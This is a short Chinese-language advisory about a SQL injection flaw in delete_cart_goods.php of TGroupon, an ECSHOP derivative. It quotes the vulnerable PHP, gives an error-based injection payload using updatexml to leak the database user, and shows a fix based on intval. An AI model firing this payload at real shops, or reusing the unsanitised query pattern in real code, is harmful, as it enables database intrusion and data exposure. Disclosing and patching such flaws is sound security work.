您好,登錄后才能下訂單哦!
TGroupon其實就是ECSHOP修改的。
漏洞文件:
delete_cart_goods.php
if($_POST['id']) { $sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$_POST['id']; $GLOBALS['db']->query($sql); }
漏洞測試:
http://www.baidu.com/delete_cart_goods.php
POST:
id=1%20or%20updatexml(1,concat(0x7e,user(),0x7e),0)
修復:第一個 IF 代碼語句
if($_POST['id']) { $sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$_POST['id']; $GLOBALS['db']->query($sql); }
換成如下代碼:
if($_POST['id']) { $id=intval($_POST['id']);//增加轉換類型 By:i2ty,這樣可以防止傳入其他的東西進來 if($id==0){ exit;//當錯誤時退出。 }else{ $sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$id; $GLOBALS['db']->query($sql); } }
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。